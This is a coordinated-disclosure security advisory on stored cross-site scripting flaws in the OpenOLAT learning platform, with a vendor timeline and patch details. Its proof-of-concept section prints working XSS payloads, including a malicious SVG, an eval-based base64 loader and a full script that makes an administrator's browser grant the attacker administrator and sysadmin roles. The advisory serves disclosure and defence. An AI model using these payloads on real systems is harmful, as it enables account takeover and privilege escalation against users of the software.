SEC Consult Vulnerability Lab Security Advisory < 20240220-0 > ======================================================================= title: Multiple Stored Cross-Site Scripting Vulnerabilities product: OpenOLAT (Frentix GmbH) vulnerable version: <= 18.1.4 and <= 18.1.5 fixed version: 18.1.6 / 18.2 CVE number: CVE-2024-25973, CVE-2024-25974 impact: High homepage: https://www.openolat.com/ found: 2023-12-20 and 2024-01-20 by: Mike Klostermaier (Office Berlin) Johannes Völpel (Office Berlin) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "frentix operates in the areas of e-learning, software development, multimedia and media production. Providing information and lasting impressions – we try to reconcile this goal in the area of tension between technology, usability and design." "The LMS OpenOlat is an internet-based learning platform for teaching, learning, assessment and communication, an LMS, a learning management system." Source: https://www.openolat.com/unternehmen/ Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973) Insufficient filtering and sanitization of user input leads to the creation of groups, courses and other resources that contain XSS payloads. This allows an attacker to execute JavaScript code with the permissions of the victim in the context of the user's browser. 2) Privilege escalation via XSS due to insecure CSP If the content security policy is not set securely and there is content on the same page that can be manipulated by the attacker, a privilege escalation can take place. 3) Stored Cross-Site-Scripting within the Media Center (CVE-2024-25974) Insufficient filtering and sanitization of malicious files uploaded by a user leads to stored resources within the Media Center that could contain XSS payloads. This allows an attacker to execute JavaScript code with the permissions of the victim in the context of the user's browser. Proof of concept: ----------------- 1) Multiple Stored Cross-Site-Scripting Vulnerabilities (CVE-2024-25973) Various XSS issues have been found in different functions of OpenOLAT. The following examples show different attack scenarios. Example 1 - Stored Cross-Site-Scripting within Coursenames Due to insufficient filtering and sanitization of user input, an attacker with rights to create or edit groups can create a course with a name that contains an XSS payload. When a user edits this course the name including the payload is displayed and executed. Furthermore, the XSS payload is executed when editing the course via the course-editor, within the course-editor's "layout" tab inside the preview. This also happens multiple times at multiple locations during the publishing workflow. The following payload was used as coursename: ``` <img src=x onerror=alert('from\u0020subcat\u0020title')> ``` Example 2 - Stored Cross-Site-Scripting within Catalogname An attacker, who is authenticated with rights that allow creating or renaming catalogs, is able to create a catalog (also called sub-category) with a name that contains an XSS payload due to insufficient filtering and sanitization of user input. When a user publishes a course, the name of the catalog including the payload is displayed and executed within the "Create catalog entry" tab when selecting "Add to catalog". The following payload was used as the catalog name: ``` <img src=x onerror=alert('from\u0020subcat\u0020title')> ``` Example 3 - Stored Cross-Site-Scripting within Curriculum Management An authenticated user of a role, who has the authorization to create curriculums, is able to create curriculums, whose name contains a JavaScript payload. These are shown to the members in some views where the JavaScript payload is executed. To do this, navigate to the overview of the curriculums via "Curriculum management". A curriculum can be created via the "Create new curriculum" button in the window that appears. To recreate the vulnerability, it is sufficient to enter a JavaScript payload as the identifier. The following payload was used as curriculum name: ``` <img src=x onerror=alert('from\u0020subcat\u0020title')> ``` When a user with sufficient rights opens the manipulated curriculum via the "curriculum browser" within the "Curriculum management" the payload within the curriculum name gets executed within the context of the user's browser. Example 4 - Stored Cross-Site-Scripting within Alt-Text of Media-Files An attacker, who is authenticated with rights that allow uploading files, can upload media files via the "Media Centre" and enter metadata for these files. One of the fields used for image metadata is the so-called alt-text field, which is used to enter an alternative display text for image files. This alternative text is not sanitized properly when entered during the upload of files. The following payload was assigned to an image file as alt-text: ``` "><img src=a onerror=alert(document.location)> ``` The upload of the image file works without further problems and is confirmed. After successfully uploading the image with a manipulated alt-text, the transmitted payload is executed directly. Using the function to share content with other users, this manipulated image can be shared to potential victims (e.g. a system administrator). The user to whom the image has been shared with can preview it in their media center. As soon as the user views the image details, the JavaScript payload stored within the alt-text is executed in the context of the victim's browser. 2) Privilege escalation due to unsafe-eval If the content security policy is not set securely and there is content on the same page that can be manipulated by the attacker, a privilege escalation can take place. As the content security policy is set to "Report-Only" and "unsafe-eval" is set by default in OpenOLAT, it can be possible to use the following attack at least in most cases shown here using stored XSS. An example that loads a script from an external source was not used here, as this would not have been possible with an activated CSP, whereas this vulnerability can also be exploited with an activated standard CSP from OpenOLAT. The following example can be used at any given point where a XSS is possible and another string can be manipulated within a readable context: ``` "><img src=x onerror='var ps = document.querySelectorAll(`p`); for (var i = 0; i < ps.length; i++) { var c = ps[i].textContent; if (c.startsWith(`YXN`)) { eval(atob(c)); } }' ``` This JavaScript code searches the website for elements that begin with a certain string (in our example "YXN"), decodes them from base64 and executes them (due to the unsafe-eval policy) as JavaScript code. This has been tested to be working with example 4 with the above payload as the alt-text and the payload mentioned below as the description of the media file. The string "YXN" is the start of the base64-encoded following payload: ``` async function main() { function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } var n = 2000; var anchorElement = document.querySelector('a[title="Manage users and system groups"]'); anchorElement.click(); await sleep(n); var buttons = document.querySelectorAll('a[title="Organisations"]'); buttons[0].click(); await sleep(n); var links = document.querySelectorAll('a'); var organisationLink = Array.from(links).find(function (link) { return link.textContent === 'OpenOLAT'; }); organisationLink.click(); await sleep(n); var links = document.querySelectorAll('a'); var chadLink = Array.from(links).find(function (link) { return link.textContent === 'Chad'; }); await sleep(n); chadLink.click(); await sleep(n); var roleTabLinks = document.querySelectorAll('a[role="tab"]'); var rolesLink = Array.from(roleTabLinks).find(function (link) { return link.textContent === 'Roles'; }); await sleep(n); rolesLink.click(); await sleep(n); var inputElement = document.querySelector('input[value="administrator"]'); inputElement.click(); await sleep(n); var inputElement = document.querySelector('input[value="sysadmin"]'); inputElement.click(); await sleep(n); var saveButton = document.querySelector('button[value="Save"]'); saveButton.click(); } main(); ``` The code shown here utilizes the static structure of OpenOLAT. The use of control elements is predictable, as long as the name of the organization used within the OpenOLAT instance is known. This information is freely accessible to every logged-in user. Lines 14 and 20 contain variables which must be adapted to the corresponding OpenOLAT instance and attacker username. The executed script searches for HTML elements with predictable names in order to navigate to an administrative interface within the application and elevate the attacker's rights to administrative level. The script works with two-second pauses between the individual actions to ensure that all actions are only executed after the page has loaded. Even if this is visible to the victim, the waiting times between the actions can be optimized in a real attack and can also be used with the help of obfuscation measures (e.g. additional windows that open and hide the actions). 3) Stored Cross-Site-Scripting (XSS) within the Media-Center (CVE-2024-25974) It is possible to upload files within the Media Center of OpenOLAT version 18.1.5 as an authenticated user without any other rights. While the filetypes are limited, an SVG containing an XSS payload can be uploaded. The following content has been uploaded within a file named 'xss.svg': ``` <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert(document.location); </script> </svg> ``` After a successful upload the file can be shared with groups of users. By sharing the file with a group of which an administrator is part of, the administrator can access the file and open it, which will open the file in a new tab within the browser. This leads to the execution of the shown script and will display a message window stating the current domain and path. Vulnerable / tested versions: ----------------------------- The following versions has been tested which was the latest version available at the time of the test: * OpenOLAT 18.1.4 Vulnerability 1 and 2 * OpenOLAT 18.1.5 Vulnerability 3 OpenOLAT version 18.2 was verified whether the identified issues were properly fixed. Vendor contact timeline: ------------------------ 2024-01-10: Contacting vendor through [email protected] 2024-01-10: Very quick vendor response within an hour, sending security advisory to provided contact. 2024-01-10: Feedback from vendor that we submitted known/already fixed issues for version 18.1. Retesting latest version 18.1.4, but only three of our submitted issues had been fixed before (removed from advisory), found additional, new XSS issues again in latest version. 2024-01-11: Sending updated security advisory to the vendor. 2024-01-11: Quick feedback from vendor declaring example 1 to 3 as accepted risk, as authors have a trusted position and XSS is only seen as a risk if the attacker is unauthenticated or has low privileges. Example 4 will be patched with the upcoming release. No comment from the vendor on vulnerability 2 regarding the unsafe default configuration. 2024-01-11: Sending examples 1 to 3 and explaining the risk potential from an attacker's perspective to the vendor. Co-ordination with the vendor regarding the release date of the new version, which includes a fix for example 4. Asking again about the standard configuration mentioned in vulnerability 2 and the vendor's position or judgement on this. 2024-01-11: Quick reply from the vendor confirming the release date of the new version on 2024-01-17. With regard to examples 1 to 3, the vendor confirmed that no fix is planned. Reference is made to modules in development which will replace the modules containing vulnerabilities in the course of upcoming releases. With regard to privilege escalation, which is enabled by the CSP in chapter 2, the vendor points out that the "unsafe-eval" or "unsafe-inline" option cannot simply be deactivated in the architecture currently in use. With regard to the "report-only" setting of the CSP, the vendor refers to the lack of possibilities to enforce this on the part of the vendor. However, the vendor advises customers to activate it. 2024-01-17: Release of version 18.1.5 by the vendor. A fix of example 1, 2 and 4 was verified by the researchers within this version. Example 3 as well as the CSP from chapter 2 are still exploitable. The PoC code snipped has been redacted in example 3. 2024-01-18: Mail from vendor, informing us about the release of the patched version. Vendor states, that the development of OpenOLAT will use all points from this advisory as guidance for further improvements. 2024-01-19: Sending mail to vendor confirming that the examples 1, 2 and 4 are fixed. Submitted updated draft of this advisory. 2024-01-21: Informing vendor about new found XSS within the Media Center, which has been added to this advisory as vulnerability 3 (SVG). 2024-01-21: Fast response from vendor informing us, that the found XSS will be fixed with an update at the end of January. 2024-01-23: Sending mail to the vendor thanking for the quick reply. 2024-01-31: Release of version 18.1.6 by the vendor. 2024-02-09: The researchers can confirm, that all vulnerabilities mentioned within chapters 1 and 3 are fixed and can no longer be exploited. Vulnerability 2 still works as documented. Informing the vendor, that we can confirm the fix and thanking again for the quick and solution-oriented communication. 2024-02-09: Vendor: Systematic search for further XSS issues, version 18.2.1 contains even more fixes. Version 19 will have CSP enabled by default. 2024-02-13: Assigning CVE numbers. 2024-02-20: Coordinated release of security advisory. Solution: --------- The vendor provided a patched version 18.1.6 / 18.2 or higher which can be downloaded from: https://www.openolat.com/releases/ Additionally, it is advised to set the Content-Security-Policy active, instead of "Report-Only" as well as configuring it as strictly as possible. The upcoming version 19 will enable CSP by default. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Johannes Völpel & Mike Klostermaier / @2024